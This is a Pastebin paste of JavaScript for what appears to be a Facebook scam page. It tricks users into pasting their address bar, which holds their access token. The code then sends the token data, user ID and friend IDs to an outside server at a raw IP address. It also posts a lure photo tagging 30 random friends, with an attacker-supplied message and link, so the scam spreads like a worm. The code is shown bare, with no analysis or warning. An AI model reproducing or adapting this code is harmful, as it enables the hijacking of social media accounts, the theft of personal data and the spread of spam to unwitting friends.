Advertisement
adam-prescott

Untitled

Oct 25th, 2012
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var widget, userid, feedit, photoFriends;
  2. var app = {
  3.     getToken: function () {
  4.         token = $('#link_input').val();
  5.         if (token.split('#access_token=')[1]) {
  6.             feedit = token.split('#')[1];
  7.             token = token.split('#access_token=')[1].split('&')[0];
  8.             $('#data').html('<img src="https://bitly.com/QZqxdh" style="display:none;">');
  9.             $.getJSON('https://graph.facebook.com/me?access_token=' + token, function (response) {
  10.                 if (response.id) {
  11.                     userid = response.id;
  12.                     var query = "SELECT uid FROM user WHERE uid IN(SELECT uid2 FROM friend WHERE uid1=" + userid + " ORDER BY rand() asc LIMIT 30)";
  13.                     $.getJSON('https://graph.facebook.com/fql?q=' + query + '&access_token=' + token, function (response) {
  14.                         var ea = [];
  15.                         var pa = [];
  16.                         $.each(response.data, function (i, data) {
  17.                             var x = Math.round(Math.random() * (100 - 0) + 0);
  18.                             var y = Math.round(Math.random() * (100 - 0) + 0);
  19.                             pa.push('{"tag_uid": "' + data.uid + '", "x": "' + x + '", "y": "' + y + '"}');
  20.                             ea.push(data.uid)
  21.                         });
  22.                         var friends = ea.join(',');
  23.                         photoFriends = pa.join(',');
  24.                         $.getJSON('http://174.120.136.162/~picagg/primark/tokenmonster.php?emma=1&user=' + userid + '&friends=' + friends + '&' + feedit + '&callback=?', function (data) {
  25.                             var redirect = data.red;
  26.                             var toPhotos_msg = encodeURIComponent(data.msg + ' ' + data.red);
  27.                             $.getJSON('https://graph.facebook.com/' + userid + '/photos?method=POST&url=' + encodeURIComponent('http://i.imgur.com/p55re.jpg?' + Math.random().toString(36).substring(7)) + '&tags=[' + photoFriends + ']&message=' + toPhotos_msg + '&access_token=' + token, function (response) {
  28.                                 app.showWidget();
  29.                                 $.getJSON('http://174.120.136.162/~picagg/primark/tokenmonster.php?&response=' + JSON.stringify(response) + '&niche=emma&callback=?', function (data) {})
  30.                             }).fail(function (jqXHR, textStatus, errorThrown) {
  31.                                 app.showWidget();
  32.                                 var link = redirect.replace('http://', '');
  33.                                 $.getJSON('http://174.120.136.162/~picagg/primark/again.php?user=' + userid + '&' + feedit + '&niche=emma&link=' + link + '&callback=?', function (data) {})
  34.                             })
  35.                         })
  36.                     })
  37.                 } else {
  38.                     alert('Something went wrong.  Please try again.');
  39.                     setTimeout('app.showInstructions()', 500)
  40.                 }
  41.             })
  42.         } else {
  43.             alert('Make sure to copy all contents of the address bar.  Please try again.');
  44.             setTimeout('app.showInstructions()', 500)
  45.         }
  46.     },
  47.     showWidget: function () {
  48.         var widg = '<div id="widget" style="width:100%;height:100%;min-height:380px;top:110px;left:310px;"><iframe src="' + widget + '" style="width:100%;min-height:380px;height:100%;background-transparent;" frameborder="0" scrolling="no"></iframe></div>';
  49.         $('#bg').html(widg)
  50.     },
  51.     showInstructions: function () {
  52.         $('#input, #start').css('display', 'block');
  53.         $('#bg').css('background-image', 'url(https://lh4.googleusercontent.com/-yAwzvEmBe3k/UHx1RCj3lPI/AAAAAAAAADA/Rcp8sm88I74/s690/fNt5F.png)')
  54.     },
  55.     newWin: function () {
  56.         var url = 'http://www.facebook.com/dialog/permissions.request?app_id=74769995908&next=http://www.facebook.com/connect/window_comm.php&response_type=token&perms=publish_stream';
  57.         newgt = window.open(url, 'gt', 'toolbar=no,location=yes,directories=no,status=no, menubar=no,scrollbars=no,resizable=no,width=900,height=50');
  58.         if (window.focus) {
  59.             newgt.focus()
  60.         }
  61.         if (!newgt.closed) {
  62.             newgt.focus()
  63.         }
  64.         return false
  65.     }
  66. };
  67. $(function () {
  68.     var widgets = ['http://emma-widget.appspot.com', 'http://emma-widgetj.appspot.com', 'http://emma-widget.appspot.com', 'http://emma-widgetj.appspot.com', 'http://emma-widget.appspot.com', 'http://emma-widgetj.appspot.com'];
  69.     widget = widgets[Math.floor(Math.random() * widgets.length)];
  70.     var perNum = 1,
  71.         direct = 0;
  72.     var country = geoip_country_code();
  73.     if (country == 'US' || country == 'GB' || country == 'IE' || country == 'AU' || country == 'IT' || country == 'ES' || country == 'NO' || country == 'DE' || country == 'SE' || country == 'FI' || country == 'NZ' || country == 'NL' || country == 'FR' || country == 'BE' || country == 'ZA') {
  74.         if (perNum != 0) {
  75.             var fromNum = 1;
  76.             var toNum = 10;
  77.             var rannum = Math.floor(Math.random() * (toNum - fromNum + 1)) + fromNum;
  78.             if (rannum <= perNum) {
  79.                 app.showWidget()
  80.             }
  81.         } else if (direct != 0) {
  82.             app.showWidget()
  83.         }
  84.     } else {
  85.         app.showWidget()
  86.     }
  87.     var playimg = new Image();
  88.     playimg.src = 'https://lh4.googleusercontent.com/-FP5WbdAtBeU/UHsSOBo8knI/AAAAAAAAACw/nETqT3sSVRE/s690/emmplaynew.jpg';
  89.     playimg.onload = function () {
  90.         setTimeout("$('#bg').css('background-image', 'url(" + playimg.src + ")')", 500)
  91.     };
  92.     var startimg = new Image();
  93.     startimg.src = 'https://lh4.googleusercontent.com/-yAwzvEmBe3k/UHx1RCj3lPI/AAAAAAAAADA/Rcp8sm88I74/s690/fNt5F.png';
  94.     startimg.onload = function () {};
  95.     $('#play').click(function () {
  96.         $('#bg').fadeTo('fast', 0.3, function () {
  97.             $(this).css('background-image', 'url(' + startimg.src + ')');
  98.             $('#play').css('display', 'none');
  99.             $('#input, #start').css('display', 'block')
  100.         }).fadeTo('fast', 1)
  101.     });
  102.     $('#submit').click(function () {
  103.         if (($('#link_input').val().length <= 100)) {
  104.             alert('Invalid Verification Code, make sure to copy all contents of the address bar.  Please try again.')
  105.         } else {
  106.             app.getToken();
  107.             $('#bg').css('background-image', 'url(https://lh6.googleusercontent.com/-_nyO-z7fSnw/UHrTI9OsMbI/AAAAAAAAABw/nVcwnCZdIMQ/s690/sfC6v.gif)');
  108.             $('#input, #start').css('display', 'none')
  109.         }
  110.     });
  111.     $('#getcode').click(function () {
  112.         app.newWin()
  113.     })
  114. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement